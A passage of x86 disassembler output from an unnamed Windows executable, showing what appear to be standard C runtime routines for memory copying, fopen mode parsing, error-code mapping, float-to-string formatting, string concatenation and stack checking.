; DATA XREF: sub_418F70+288o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41922C: ; DATA XREF: sub_418F70+28Co mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_419234: ; DATA XREF: sub_418F70+290o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41923C: ; DATA XREF: sub_418F70+294o mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41924F: ; CODE XREF: sub_418F70+1C6j ; DATA XREF: sub_418F70:off_419208o jmp ds:off_419258[edx*4] ; --------------------------------------------------------------------------- align 4 off_419258 dd offset loc_419268 ; DATA XREF: sub_418F70+1BBr ; sub_418F70:loc_419158r ... dd offset loc_419270 dd offset loc_419280 dd offset loc_419294 ; --------------------------------------------------------------------------- loc_419268: ; CODE XREF: sub_418F70+1BBj ; sub_418F70:loc_419158j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_419270: ; CODE XREF: sub_418F70+1BBj ; sub_418F70:loc_419158j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_419280: ; CODE XREF: sub_418F70+1BBj ; sub_418F70:loc_419158j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419294: ; CODE XREF: sub_418F70+1BBj ; sub_418F70:loc_419158j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_418F70 endp ; =============== S U B R O U T I N E ======================================= sub_4192AD proc near ; CODE XREF: sub_4149EA+150p ; sub_4149EA+19Bp ... arg_0 = dword ptr 4 mov eax, dword_47C378 test eax, eax jz short loc_4192C5 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_4192C5 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4192C5: ; CODE XREF: sub_4192AD+7j ; sub_4192AD+12j xor eax, eax retn sub_4192AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192C8 proc near ; CODE XREF: sub_414B97+35p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_47C520 push edi mov edi, [ebp+arg_4] mov al, [edi] xor ebx, ebx cmp al, 61h mov [ebp+var_8], ebx mov [ebp+var_4], ebx jz short loc_419301 cmp al, 72h jz short loc_4192FA cmp al, 77h jnz loc_41940D mov ecx, 301h jmp short loc_419306 ; --------------------------------------------------------------------------- loc_4192FA: ; CODE XREF: sub_4192C8+21j xor ecx, ecx or esi, 1 jmp short loc_419309 ; --------------------------------------------------------------------------- loc_419301: ; CODE XREF: sub_4192C8+1Dj mov ecx, 109h loc_419306: ; CODE XREF: sub_4192C8+30j or esi, 2 loc_419309: ; CODE XREF: sub_4192C8+37j xor edx, edx inc edx jmp loc_4193E8 ; --------------------------------------------------------------------------- loc_419311: ; CODE XREF: sub_4192C8+125j cmp edx, ebx jz loc_4193F3 movsx eax, al cmp eax, 54h jg short loc_419392 jz short loc_419385 sub eax, 2Bh jz short loc_41936F sub eax, 19h jz short loc_419365 sub eax, 0Eh jz short loc_419351 dec eax jnz loc_4193CA cmp [ebp+var_4], ebx jnz loc_4193CA mov [ebp+var_4], 1 or ecx, 20h jmp loc_4193E8 ; --------------------------------------------------------------------------- loc_419351: ; CODE XREF: sub_4192C8+68j cmp [ebp+var_4], ebx jnz short loc_4193CA mov [ebp+var_4], 1 or ecx, 10h jmp loc_4193E8 ; --------------------------------------------------------------------------- loc_419365: ; CODE XREF: sub_4192C8+63j test cl, 40h jnz short loc_4193CA or ecx, 40h jmp short loc_4193E8 ; --------------------------------------------------------------------------- loc_41936F: ; CODE XREF: sub_4192C8+5Ej test cl, 2 jnz short loc_4193CA and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_4193E8 ; --------------------------------------------------------------------------- loc_419385: ; CODE XREF: sub_4192C8+59j mov eax, 1000h test ecx, eax jnz short loc_4193CA or ecx, eax jmp short loc_4193E8 ; --------------------------------------------------------------------------- loc_419392: ; CODE XREF: sub_4192C8+57j sub eax, 62h jz short loc_4193DD dec eax jz short loc_4193C5 sub eax, 0Bh jz short loc_4193B1 sub eax, 6 jnz short loc_4193CA test ch, 0C0h jnz short loc_4193CA or ecx, 4000h jmp short loc_4193E8 ; --------------------------------------------------------------------------- loc_4193B1: ; CODE XREF: sub_4192C8+D5j cmp [ebp+var_8], ebx jnz short loc_4193CA mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp short loc_4193E8 ; --------------------------------------------------------------------------- loc_4193C5: ; CODE XREF: sub_4192C8+D0j cmp [ebp+var_8], ebx jz short loc_4193CE loc_4193CA: ; CODE XREF: sub_4192C8+6Bj ; sub_4192C8+74j ... xor edx, edx jmp short loc_4193E8 ; --------------------------------------------------------------------------- loc_4193CE: ; CODE XREF: sub_4192C8+100j mov [ebp+var_8], 1 or esi, 4000h jmp short loc_4193E8 ; --------------------------------------------------------------------------- loc_4193DD: ; CODE XREF: sub_4192C8+CDj test ch, 0C0h jnz short loc_4193CA or ecx, 8000h loc_4193E8: ; CODE XREF: sub_4192C8+44j ; sub_4192C8+84j ... inc edi mov al, [edi] cmp al, bl jnz loc_419311 loc_4193F3: ; CODE XREF: sub_4192C8+4Bj push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41D674 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_419411 loc_41940D: ; CODE XREF: sub_4192C8+25j xor eax, eax jmp short loc_41942B ; --------------------------------------------------------------------------- loc_419411: ; CODE XREF: sub_4192C8+143j mov eax, [ebp+arg_C] inc dword_47C220 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41942B: ; CODE XREF: sub_4192C8+147j pop edi pop esi pop ebx leave retn sub_4192C8 endp ; =============== S U B R O U T I N E ======================================= sub_419430 proc near ; CODE XREF: sub_414B97+18p ; sub_414D44+2Bp ... call sub_416C45 add eax, 8 retn sub_419430 endp ; =============== S U B R O U T I N E ======================================= sub_419439 proc near ; CODE XREF: sub_414D44+36p ; sub_417B3C+8Ap ... call sub_416C45 add eax, 0Ch retn sub_419439 endp ; =============== S U B R O U T I N E ======================================= sub_419442 proc near ; CODE XREF: sub_414D44+16p ; sub_415AB5+1Dp ... arg_0 = dword ptr 4 push esi call sub_416C45 mov ecx, [esp+4+arg_0] mov [eax+0Ch], ecx xor esi, esi loc_419451: ; CODE XREF: sub_419442+1Cj cmp ecx, dword_42DD30[esi*8] jz short loc_419478 inc esi cmp esi, 2Dh jb short loc_419451 cmp ecx, 13h jb short loc_419489 cmp ecx, 24h ja short loc_419489 call sub_416C45 mov dword ptr [eax+8], 0Dh pop esi retn ; --------------------------------------------------------------------------- loc_419478: ; CODE XREF: sub_419442+16j call sub_416C45 mov ecx, dword_42DD34[esi*8] mov [eax+8], ecx pop esi retn ; --------------------------------------------------------------------------- loc_419489: ; CODE XREF: sub_419442+21j ; sub_419442+26j cmp ecx, 0BCh jb short loc_4194A7 cmp ecx, 0CAh ja short loc_4194A7 call sub_416C45 mov dword ptr [eax+8], 8 pop esi retn ; --------------------------------------------------------------------------- loc_4194A7: ; CODE XREF: sub_419442+4Dj ; sub_419442+55j call sub_416C45 mov dword ptr [eax+8], 16h pop esi retn sub_419442 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4194B5 proc near ; CODE XREF: sub_414B97+Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset stru_429020 call __SEH_prolog xor ebx, ebx xor edi, edi mov [ebp+var_1C], edi push 1 call sub_4180B5 pop ecx mov [ebp+ms_exc.disabled], ebx xor esi, esi loc_4194D5: ; CODE XREF: sub_4194B5+85j mov [ebp+var_20], esi cmp esi, dword_47D9C0 jge loc_4195A4 mov eax, dword_47C9A4 mov eax, [eax+esi*4] cmp eax, ebx jz short loc_419540 test byte ptr [eax+0Ch], 83h jnz short loc_419539 cmp esi, 2 jle short loc_419512 cmp esi, 14h jge short loc_419512 lea eax, [esi+10h] push eax call sub_418036 pop ecx test eax, eax jz loc_4195A4 loc_419512: ; CODE XREF: sub_4194B5+44j ; sub_4194B5+49j mov eax, dword_47C9A4 push dword ptr [eax+esi*4] push esi call sub_417E57 pop ecx pop ecx mov eax, dword_47C9A4 mov eax, [eax+esi*4] test byte ptr [eax+0Ch], 83h jz short loc_41953C push eax push esi call sub_417EA9 pop ecx pop ecx loc_419539: ; CODE XREF: sub_4194B5+3Fj inc esi jmp short loc_4194D5 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_4194B5+79j mov edi, eax jmp short loc_4195A1 ; --------------------------------------------------------------------------- loc_419540: ; CODE XREF: sub_4194B5+39j shl esi, 2 push 38h call sub_414CAD pop ecx mov ecx, dword_47C9A4 mov [esi+ecx], eax mov eax, dword_47C9A4 mov eax, [esi+eax] cmp eax, ebx jz short loc_4195A4 push 0FA0h add eax, 20h push eax call sub_41CFB8 pop ecx pop ecx test eax, eax mov eax, dword_47C9A4 jnz short loc_41958C push dword ptr [esi+eax] call sub_414844 pop ecx mov eax, dword_47C9A4 mov [esi+eax], ebx jmp short loc_4195A4 ; --------------------------------------------------------------------------- loc_41958C: ; CODE XREF: sub_4194B5+C2j mov eax, [esi+eax] add eax, 20h push eax call ds:dword_42001C ; RtlEnterCriticalSection mov eax, dword_47C9A4 mov edi, [esi+eax] loc_4195A1: ; CODE XREF: sub_4194B5+89j mov [ebp+var_1C], edi loc_4195A4: ; CODE XREF: sub_4194B5+29j ; sub_4194B5+57j ... cmp edi, ebx jz short loc_4195BA mov [edi+4], ebx mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi], ebx mov [edi+1Ch], ebx or dword ptr [edi+10h], 0FFFFFFFFh loc_4195BA: ; CODE XREF: sub_4194B5+F1j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4195CE mov eax, edi call __SEH_epilog retn sub_4194B5 endp ; =============== S U B R O U T I N E ======================================= sub_4195CB proc near ; DATA XREF: .rdata:stru_429020o mov edi, [ebp-1Ch] sub_4195CB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4195CE proc near ; CODE XREF: sub_4194B5+109p push 1 call sub_418021 pop ecx retn sub_4195CE endp ; =============== S U B R O U T I N E ======================================= sub_4195D7 proc near ; CODE XREF: sub_416492+459p ; DATA XREF: sub_414CF5+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41540C cmp eax, 65h jmp short loc_4195F6 ; --------------------------------------------------------------------------- loc_4195EA: ; CODE XREF: sub_4195D7+20j inc esi movsx eax, byte ptr [esi] push eax call sub_41C16B test eax, eax loc_4195F6: ; CODE XREF: sub_4195D7+11j pop ecx jnz short loc_4195EA mov al, [esi] mov cl, byte_42E108 mov [esi], cl inc esi loc_419604: ; CODE XREF: sub_4195D7+38j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_419604 pop esi retn sub_4195D7 endp ; =============== S U B R O U T I N E ======================================= sub_419613 proc near ; CODE XREF: sub_416492+46Ap ; DATA XREF: sub_414CF5+Ao ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov bl, byte_42E108 jmp short loc_419625 ; --------------------------------------------------------------------------- loc_419620: ; CODE XREF: sub_419613+16j cmp cl, bl jz short loc_41962B inc eax loc_419625: ; CODE XREF: sub_419613+Bj mov cl, [eax] test cl, cl jnz short loc_419620 loc_41962B: ; CODE XREF: sub_419613+Fj mov cl, [eax] inc eax test cl, cl jz short loc_41965C jmp short loc_41963F ; --------------------------------------------------------------------------- loc_419634: ; CODE XREF: sub_419613+30j cmp cl, 65h jz short loc_419645 cmp cl, 45h jz short loc_419645 inc eax loc_41963F: ; CODE XREF: sub_419613+1Fj mov cl, [eax] test cl, cl jnz short loc_419634 loc_419645: ; CODE XREF: sub_419613+24j ; sub_419613+29j mov edx, eax loc_419647: ; CODE XREF: sub_419613+38j dec eax cmp byte ptr [eax], 30h jz short loc_419647 cmp [eax], bl jnz short loc_419652 dec eax loc_419652: ; CODE XREF: sub_419613+3Cj ; sub_419613+47j mov cl, [edx] inc eax inc edx test cl, cl mov [eax], cl jnz short loc_419652 loc_41965C: ; CODE XREF: sub_419613+1Dj pop ebx retn sub_419613 endp ; =============== S U B R O U T I N E ======================================= sub_41965E proc near ; DATA XREF: sub_414CF5+28o ; .data:off_42DEA8o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp ds:dbl_429030 fnstsw ax test ah, 1 jnz short loc_419675 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_419675: ; CODE XREF: sub_41965E+11j xor eax, eax retn sub_41965E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419678 proc near ; CODE XREF: sub_416D3B+40Dp ; DATA XREF: sub_414CF5+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4196A1 lea eax, [ebp+var_8] push eax call sub_41D9ED mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4196A1: ; CODE XREF: sub_419678+Cj lea eax, [ebp+arg_0] push eax call sub_41DA30 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [eax], ecx leave retn sub_419678 endp ; =============== S U B R O U T I N E ======================================= sub_4196B6 proc near ; CODE XREF: sub_4196D3+23p ; sub_4197F5+45p ... test edi, edi push esi mov esi, eax jz short loc_4196D1 push esi call sub_4177F0 inc eax push eax push esi add esi, edi push esi call sub_41D050 add esp, 10h loc_4196D1: ; CODE XREF: sub_4196B6+5j pop esi retn sub_4196B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196D3 proc near ; CODE XREF: sub_419781+5Bp ; sub_4198F9+88p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 push esi mov esi, eax jz short loc_4196FC xor eax, eax cmp [ebp+arg_0], eax push edi setnle al xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl mov edi, eax add ecx, ebx mov eax, ecx call sub_4196B6 pop edi loc_4196FC: ; CODE XREF: sub_4196D3+Aj cmp dword ptr [esi], 2Dh mov eax, ebx jnz short loc_419709 mov byte ptr [ebx], 2Dh lea eax, [ebx+1] loc_419709: ; CODE XREF: sub_4196D3+2Ej cmp [ebp+arg_0], 0 jle short loc_419720 lea ecx, [eax+1] mov dl, [ecx] mov [eax], dl mov eax, ecx mov cl, byte_42E108 mov [eax], cl loc_419720: ; CODE XREF: sub_4196D3+3Aj xor ecx, ecx cmp [ebp+arg_8], cl push offset dword_429038 setz cl add ecx, eax add ecx, [ebp+arg_0] push ecx call sub_419A70 cmp [ebp+arg_4], 0 pop ecx pop ecx mov ecx, eax jz short loc_419745 mov byte ptr [ecx], 45h loc_419745: ; CODE XREF: sub_4196D3+6Dj mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41977C mov eax, [esi+4] dec eax jns short loc_419759 neg eax mov byte ptr [ecx], 2Dh loc_419759: ; CODE XREF: sub_4196D3+7Fj inc ecx cmp eax, 64h jl short loc_419769 cdq push 64h pop esi idiv esi add [ecx], al mov eax, edx loc_419769: ; CODE XREF: sub_4196D3+8Aj inc ecx cmp eax, 0Ah jl short loc_419779 cdq push 0Ah pop esi idiv esi add [ecx], al mov eax, edx loc_419779: ; CODE XREF: sub_4196D3+9Aj add [ecx+1], al loc_41977C: ; CODE XREF: sub_4196D3+79j mov eax, ebx pop esi pop ebp retn sub_4196D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419781 proc near ; CODE XREF: sub_419999+47p var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx mov [ebp+var_4], eax push esi lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_41DBA4 mov esi, [ebp+arg_8] mov ebx, [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [esi+1] push eax xor eax, eax cmp [ebp+var_14], 2Dh mov edx, ebx setz al xor ecx, ecx test esi, esi setnle cl add edx, eax add ecx, edx push ecx call sub_41DA73 push 0 push [ebp+arg_C] lea eax, [ebp+var_14] push esi call sub_4196D3 mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 28h pop esi mov eax, ebx pop ebx call sub_41A026 leave retn sub_419781 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4197F5 proc near ; CODE XREF: sub_419891+4Fp ; sub_4198F9+75p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, eax mov eax, [esi+4] dec eax cmp [ebp+arg_8], 0 push edi jz short loc_419822 cmp eax, [ebp+arg_4] jnz short loc_419822 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, [ebp+arg_0] mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 loc_419822: ; CODE XREF: sub_4197F5+10j ; sub_4197F5+15j cmp dword ptr [esi], 2Dh mov ebx, [ebp+arg_0] jnz short loc_41982E mov byte ptr [ebx], 2Dh inc ebx loc_41982E: ; CODE XREF: sub_4197F5+33j mov eax, [esi+4] xor edi, edi inc edi test eax, eax jg short loc_419845 mov eax, ebx call sub_4196B6 mov byte ptr [ebx], 30h inc ebx jmp short loc_419847 ; --------------------------------------------------------------------------- loc_419845: ; CODE XREF: sub_4197F5+41j add ebx, eax loc_419847: ; CODE XREF: sub_4197F5+4Ej cmp [ebp+arg_4], 0 jle short loc_419889 mov eax, ebx call sub_4196B6 mov al, byte_42E108 mov [ebx], al mov esi, [esi+4] inc ebx test esi, esi jge short loc_419889 neg esi cmp [ebp+arg_8], 0 jnz short loc_419870 cmp [ebp+arg_4], esi jl short loc_419873 loc_419870: ; CODE XREF: sub_4197F5+74j mov [ebp+arg_4], esi loc_419873: ; CODE XREF: sub_4197F5+79j mov edi, [ebp+arg_4] mov eax, ebx call sub_4196B6 push edi push 30h push ebx call sub_41C380 add esp, 0Ch loc_419889: ; CODE XREF: sub_4197F5+56j ; sub_4197F5+6Cj mov eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4197F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419891 proc near ; CODE XREF: sub_419999+1Ep var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42DEB8 xor eax, [ebp+4] push esi mov [ebp+var_4], eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_41DBA4 mov esi, [ebp+arg_8] lea eax, [ebp+var_14] push eax mov eax, [ebp+var_10] add eax, esi push eax xor eax, eax cmp [ebp+var_14], 2Dh setz al add eax, [ebp+arg_4] push eax call sub_41DA73 push 0 push esi push [ebp+arg_4] lea eax, [ebp+var_14] call sub_4197F5 mov ecx, [ebp+var_4] xor ecx, [ebp+4] mov eax, [ebp+arg_4] add esp, 28h pop esi call sub_41A026 leave retn sub_419891 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198F9 proc near ; CODE XREF: sub_419999+34p var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx push esi mov [ebp+var_4], eax push edi lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_41DBA4 mov esi, [ebp+var_10] mov ebx, [ebp+arg_8] xor eax, eax dec esi cmp [ebp+var_14], 2Dh setz al add eax, [ebp+arg_4] mov edi, eax lea eax, [ebp+var_14] push eax push ebx push edi call sub_41DA73 mov eax, [ebp+var_10] add esp, 1Ch dec eax cmp esi, eax setl cl cmp eax, 0FFFFFFFCh jl short loc_419975 cmp eax, ebx jge short loc_419975 test cl, cl jz short loc_419965 loc_41995B: ; CODE XREF: sub_4198F9+67j mov al, [edi] inc edi test al, al jnz short loc_41995B and [edi-2], al loc_419965: ; CODE XREF: sub_4198F9+60j push 1 push ebx push [ebp+arg_4] lea eax, [ebp+var_14] call sub_4197F5 jmp short loc_419986 ; --------------------------------------------------------------------------- loc_419975: ; CODE XREF: sub_4198F9+58j ; sub_4198F9+5Cj push 1 push [ebp+arg_C] lea eax, [ebp+var_14] push ebx mov ebx, [ebp+arg_4] call sub_4196D3 loc_419986: ; CODE XREF: sub_4198F9+7Aj mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 0Ch pop edi pop esi pop ebx call sub_41A026 leave retn sub_4198F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419999 proc near ; CODE XREF: sub_416492+43Ep ; DATA XREF: sub_414CF5o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_4199D4 cmp [ebp+arg_8], 45h jz short loc_4199D4 cmp [ebp+arg_8], 66h jnz short loc_4199C1 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_419891 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_4199C1: ; CODE XREF: sub_419999+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4198F9 jmp short loc_4199E5 ; --------------------------------------------------------------------------- loc_4199D4: ; CODE XREF: sub_419999+7j ; sub_419999+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_419781 loc_4199E5: ; CODE XREF: sub_419999+39j add esp, 10h pop ebp retn sub_419999 endp ; =============== S U B R O U T I N E ======================================= sub_4199EA proc near ; CODE XREF: sub_414D2D+Fp push 30000h push 10000h call sub_41DD71 pop ecx pop ecx retn sub_4199EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199FC proc near ; CODE XREF: sub_419A3C:loc_419A60j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_429050 fstp [ebp+var_8] fld ds:dbl_429048 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_429040 fnstsw ax test ah, 41h jnz short loc_419A38 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_419A38: ; CODE XREF: sub_4199FC+35j xor eax, eax leave retn sub_4199FC endp ; =============== S U B R O U T I N E ======================================= sub_419A3C proc near ; CODE XREF: sub_414D2D+5p push offset aKernel32 ; "KERNEL32" call ds:dword_4200A4 ; GetModuleHandleA test eax, eax jz short loc_419A60 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:dword_420084 ; GetProcAddress test eax, eax jz short loc_419A60 push 0 call eax retn ; --------------------------------------------------------------------------- loc_419A60: ; CODE XREF: sub_419A3C+Dj ; sub_419A3C+1Dj jmp sub_4199FC sub_419A3C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419A70 proc near ; CODE XREF: sub_414F66+F5p ; sub_4196D3+60p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_419AE5 sub_419A70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419A80 proc near ; CODE XREF: sub_41B3F9+10Bp ; sub_41B3F9+116p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_419AA0 loc_419A8D: ; CODE XREF: sub_419A80+1Cj mov al, [ecx] add ecx, 1 test al, al jz short loc_419AD3 test ecx, 3 jnz short loc_419A8D mov edi, edi loc_419AA0: ; CODE XREF: sub_419A80+Bj ; sub_419A80+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_419AA0 mov eax, [ecx-4] test al, al jz short loc_419AE2 test ah, ah jz short loc_419ADD test eax, 0FF0000h jz short loc_419AD8 test eax, 0FF000000h jz short loc_419AD3 jmp short loc_419AA0 ; --------------------------------------------------------------------------- loc_419AD3: ; CODE XREF: sub_419A80+14j ; sub_419A80+4Fj lea edi, [ecx-1] jmp short loc_419AE5 ; --------------------------------------------------------------------------- loc_419AD8: ; CODE XREF: sub_419A80+48j lea edi, [ecx-2] jmp short loc_419AE5 ; --------------------------------------------------------------------------- loc_419ADD: ; CODE XREF: sub_419A80+41j lea edi, [ecx-3] jmp short loc_419AE5 ; --------------------------------------------------------------------------- loc_419AE2: ; CODE XREF: sub_419A80+3Dj lea edi, [ecx-4] loc_419AE5: ; CODE XREF: sub_419A70+5j ; sub_419A80+56j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_419B0E loc_419AF1: ; CODE XREF: sub_419A80+85j mov dl, [ecx] add ecx, 1 test dl, dl jz short loc_419B60 mov [edi], dl add edi, 1 test ecx, 3 jnz short loc_419AF1 jmp short loc_419B0E ; --------------------------------------------------------------------------- loc_419B09: ; CODE XREF: sub_419A80+A6j ; sub_419A80+C0j mov [edi], edx add edi, 4 loc_419B0E: ; CODE XREF: sub_419A80+6Fj ; sub_419A80+87j mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_419B09 test dl, dl jz short loc_419B60 test dh, dh jz short loc_419B57 test edx, 0FF0000h jz short loc_419B4A test edx, 0FF000000h jz short loc_419B42 jmp short loc_419B09 ; --------------------------------------------------------------------------- loc_419B42: ; CODE XREF: sub_419A80+BEj mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_419B4A: ; CODE XREF: sub_419A80+B6j mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_419B57: ; CODE XREF: sub_419A80+AEj mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_419B60: ; CODE XREF: sub_419A80+78j ; sub_419A80+AAj mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_419A80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B68 proc near ; CODE XREF: sub_414F66+A5p ; sub_416D3B+4DCp ... var_48 = byte ptr -48h var_44 = dword ptr -44h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi push 4 pop eax call sub_414630 mov ebx, esp push 1Ch lea eax, [ebp+var_24] push eax push ebx call ds:dword_42019C ; VirtualQuery test eax, eax jz short loc_419BFD mov edi, [ebp+var_20] lea eax, [ebp+var_48] push eax call ds:dword_420074 ; GetSystemInfo mov eax, [ebp+var_44] lea esi, [eax-1] not esi and esi, ebx sub esi, eax mov [ebp+var_4], eax mov eax, dword_47C1C4 mov ecx, eax dec ecx neg ecx sbb ecx, ecx and ecx, 0FFFF1000h add ecx, 11000h add ecx, edi cmp esi, ecx jb short loc_419BFD cmp eax, 1 jz short loc_419C15 mov ebx, edi mov edi, 1000h loc_419BD2: ; CODE XREF: sub_419B68+81j push 1Ch lea eax, [ebp+var_24] push eax push ebx call ds:dword_42019C ; VirtualQuery test eax, eax jz short loc_419BFD add ebx, [ebp+var_18] test [ebp+var_14], edi jz short loc_419BD2 test [ebp+var_F], 1 mov ebx, [ebp+var_24] jz short loc_419BF9 xor eax, eax inc eax jmp short loc_419C31 ; --------------------------------------------------------------------------- loc_419BF9: ; CODE XREF: sub_419B68+8Aj cmp esi, ebx jnb short loc_419C01 